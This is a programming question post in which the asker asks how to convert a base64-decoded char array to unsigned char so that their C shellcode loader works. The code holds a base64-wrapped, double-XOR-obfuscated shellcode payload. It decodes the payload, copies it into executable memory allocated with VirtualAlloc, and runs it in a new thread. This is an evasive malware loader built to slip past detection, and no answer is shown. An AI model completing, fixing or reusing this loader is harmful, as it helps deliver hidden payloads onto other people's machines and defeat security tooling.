Converting Signed Char Array That Involves Hex Characters to Unsigned Char Array - arrays

Question

I am trying to create a shellcode by integrating XOR encryption and Base64 encoding. However, I have a problem. Base64 decoder that I found outputs char array but I need unsigned char array because all the rest of the algorithm is created for unsigned char array. I added my code below. Can you suggest a solution?
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "windows.h"
/* ---- Base64 Encoding/Decoding Table --- */
char b64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
void b64_encode(char *clrstr, char *b64dst);
void decodeblock(unsigned char in[], char *clrstr);
void b64_decode(char *b64src, char *clrdst);
void encodeblock( unsigned char in[], char b64str[], int len );
int main() {
PVOID lclbuff;
HANDLE thrd;
int i;
//mysrc, first, encrypted by using key1 with XOR and again encrypted by using key2 with XOR. Then encoded with base64. Therefore, I need to reverse these steps.
char mysrc[] = "XHhmOFx4NTZceDgzXHhmMFx4ZTFceGU1XHhkZlx4MGNceDEwXHgxOFx4NGRceDQyXHg0OVx4NDlceDRiXHg1MVx4NDFceDQ5XHgyOVx4YzdceDYxXHg1Nlx4OGJceDQ2XHg3MVx4NDVceDk0XHg1ZVx4MDhceDUwXHg4N1x4NDFceDI4XHg1MVx4OTJceDcyXHg0N1x4NDlceDE3XHhhMlx4NGVceDU0XHg0ZFx4MjVceGQ4XHg0NVx4MmVceGNjXHhiY1x4MjRceDZkXHg2Zlx4MGFceDM1XHgzOVx4NDFceGQ2XHhjOFx4MTVceDU0XHgwNVx4ZGZceGUyXHhmOVx4NDNceDRjXHg0ZVx4NDRceDliXHg0YVx4MmNceDk4XHg0YVx4MjVceDUxXHgwMVx4YzdceDhhXHg5OFx4OWRceDA0XHgxZVx4MDBceDVjXHg5NFx4Y2RceDZiXHg2Ylx4NThceDE5XHhkY1x4NDNceDgzXHg1MVx4MDFceDQ0XHg5Y1x4NDFceDM4XHg1Y1x4MDVceGNlXHhlM1x4NDJceDU5XHhmMlx4ZDZceDRkXHg5Ylx4MmNceDg0XHg1Ylx4MDlceGNmXHg1NFx4MzFceGRlXHg0OVx4MjlceGQ1XHhhOFx4NWZceGMxXHhkZFx4MWNceDRjXHgxZVx4Y2RceDI4XHhmOFx4NzlceGUyXHg0NFx4MWFceDU1XHgyNFx4MWZceDQ0XHgyMVx4YzRceDcxXHhjNlx4NThceDUwXHg5YVx4NGRceDNiXHg0NVx4MTFceGM4XHg2YVx4NTJceDgzXHgxNVx4NTFceDQ0XHg5Y1x4NDFceDA0XHg1Y1x4MDVceGNlXHg0MVx4OWZceDE1XHg4NVx4NTdceDBkXHhjMFx4NTlceDU0XHg1Mlx4NTBceDQ3XHg0MFx4NWFceDU2XHg1OVx4NTlceDRjXHg0NVx4NDRceDQ4XHg5N1x4ZmRceDJkXHg1ZVx4NWVceGVmXHhmOFx4NTRceDUyXHg1MVx4NDNceDUxXHg4Ylx4MDVceGU4XHg0Zlx4ZWFceGZiXHhlMVx4NWRceDVkXHhhZlx4N2FceDZjXHgzZVx4NGZceDJiXHgzZVx4MTNceDA4XHg1OFx4NGZceDQ5XHg5ZVx4ZTdceDUwXHg5NFx4ZThceGJlXHgwMVx4MTRceDExXHg0NFx4OTZceGU5XHg1OVx4YTRceDBlXHgxM1x4MmRceDYyXHgxM1x4MDBceDE1XHgwNVx4NTlceDQxXHg0ZFx4OTdceGU0XHg1OFx4OThceGZjXHg1ZVx4YjZceDVjXHg2Zlx4MmFceDE0XHhmN1x4Y2NceDU1XHg4OVx4ZmRceDY5XHgxOVx4MTRceDA0XHgxZVx4NTlceDU1XHhhYlx4MjRceDlmXHg2N1x4MTBceGU3XHhkOVx4NDNceDU4XHg1NFx4MjhceGM5XHg1YVx4MzBceGQ4XHg1ZFx4ZmJceGRlXHg0OFx4OWRceGQzXHg0NVx4ZTBceGNjXHg1OFx4OTFceGNkXHg1Mlx4YjJceGYzXHgxNlx4ZGZceGY3XHhmZVx4Y2RceDVkXHg4ZFx4ZDlceDZhXHgwNFx4NTBceDU1XHg1M1x4ODVceGYyXHg1MFx4ODVceGVhXHg0OVx4YTNceDgwXHhhNVx4NjNceDYwXHhlN1x4YzBceDRjXHg5Zlx4YzRceDU0XHgxM1x4MGRceDFmXHg0NVx4YThceDdiXHg2MVx4NzdceDA4XHgxOVx4MTlceDAwXHgxN1x4NDBceDQ4XHg1NFx4NTRceDU2XHg4OVx4ZjZceDQ2XHg1YVx4NDhceDQxXHgyMVx4ZDhceDY2XHgxZVx4NTFceDU4XHg0OVx4ZTJceGViXHg2N1x4ZGZceDUxXHgyMFx4NGFceDAxXHgxNVx4NTlceDgwXHg1Ylx4MjhceDA4XHhkZVx4MGNceDdiXHg0MFx4OTBceGZmXHg1Nlx4NDdceDQwXHg0OFx4NTRceDU0XHg1Zlx4NTBceDVkXHhlZVx4Y2RceDVlXHg1Y1x4NTlceGU3XHhjNFx4NWVceDgxXHhkOFx4NTVceDg5XHhkNlx4NDBceGEyXHg2Y1x4YzhceDIxXHg4Nlx4ZWJceGM0XHg0NVx4MmVceGRlXHg1OFx4ZTdceGM2XHg5OFx4MDZceDU4XHhhM1x4MDhceDkwXHgxY1x4NzhceGVhXHhkMVx4YTVceGYwXHhhMVx4YjNceDViXHg1ZVx4YjZceGI2XHg4ZFx4YjFceDhlXHhmN1x4Y2NceDUxXHg4M1x4ZDNceDI5XHgyNFx4MTNceDc4XHgxNFx4ODBceGVmXHhmMVx4NzhceDFhXHhiN1x4NTdceDBiXHg3ZVx4N2NceDYyXHgxOVx4NDBceDQxXHg5ZVx4ZGJceGU3XHhjMA==";
char myb64[1840];
unsigned char nw[1840];
b64_decode(mysrc, myb64);
printf("%s\n", myb64); // This gives following and true output: \xf8\x56\x83\xf0\xe1\xe5\xdf\x0c\x10\x18...
//However, It must reside inside an unsigned char array, as occurs in the output above.
//The output above must be turned into unsigned char array which is 'nw'. What can I do?
char key1[] = "elma";
char key2[] = "armut";
for(i=0; i<sizeof(nw)-1; i++){
nw[i]^=key2[i % strlen(key2)];
}
for(i=0; i<sizeof(nw)-1; i++){
nw[i]^=key1[i % strlen(key1)];
}
lclbuff = VirtualAlloc(NULL, sizeof(nw), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
CopyMemory(lclbuff, nw, sizeof(nw));
thrd = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)lclbuff, NULL, 0, NULL);
WaitForSingleObject(thrd, INFINITE);
return 0;
}
// The functions below are only needed to base64 encoding/decoding. Therefore, we can pass them.
/* encode - base64 encode a stream, adding padding if needed */
void b64_encode(char *clrstr, char *b64dst) {
unsigned char in[3];
int i, len = 0;
int j = 0;
b64dst[0] = '\0';
while(clrstr[j]) {
len = 0;
for(i=0; i<3; i++) {
in[i] = (unsigned char) clrstr[j];
if(clrstr[j]) {
len++; j++;
}
else in[i] = 0;
}
if( len ) {
encodeblock( in, b64dst, len );
}
}
}
/* decodeblock - decode 4 '6-bit' characters into 3 8-bit binary bytes */
void decodeblock(unsigned char in[], char *clrstr) {
unsigned char out[4];
out[0] = in[0] << 2 | in[1] >> 4;
out[1] = in[1] << 4 | in[2] >> 2;
out[2] = in[2] << 6 | in[3] >> 0;
out[3] = '\0';
strncat(clrstr, out, sizeof(out));
}
void b64_decode(char *b64src, char *clrdst) {
int c, phase, i;
unsigned char in[4];
char *p;
clrdst[0] = '\0';
phase = 0; i=0;
while(b64src[i]) {
c = (int) b64src[i];
if(c == '=') {
decodeblock(in, clrdst);
break;
}
p = strchr(b64, c);
if(p) {
in[phase] = p - b64;
phase = (phase + 1) % 4;
if(phase == 0) {
decodeblock(in, clrdst);
in[0]=in[1]=in[2]=in[3]=0;
}
}
i++;
}
}
/* encodeblock - encode 3 8-bit binary bytes as 4 '6-bit' characters */
void encodeblock( unsigned char in[], char b64str[], int len ) {
unsigned char out[5];
out[0] = b64[ in[0] >> 2 ];
out[1] = b64[ ((in[0] & 0x03) << 4) | ((in[1] & 0xf0) >> 4) ];
out[2] = (unsigned char) (len > 1 ? b64[ ((in[1] & 0x0f) << 2) |
((in[2] & 0xc0) >> 6) ] : '=');
out[3] = (unsigned char) (len > 2 ? b64[ in[2] & 0x3f ] : '=');
out[4] = '\0';
strncat(b64str, out, sizeof(out));
}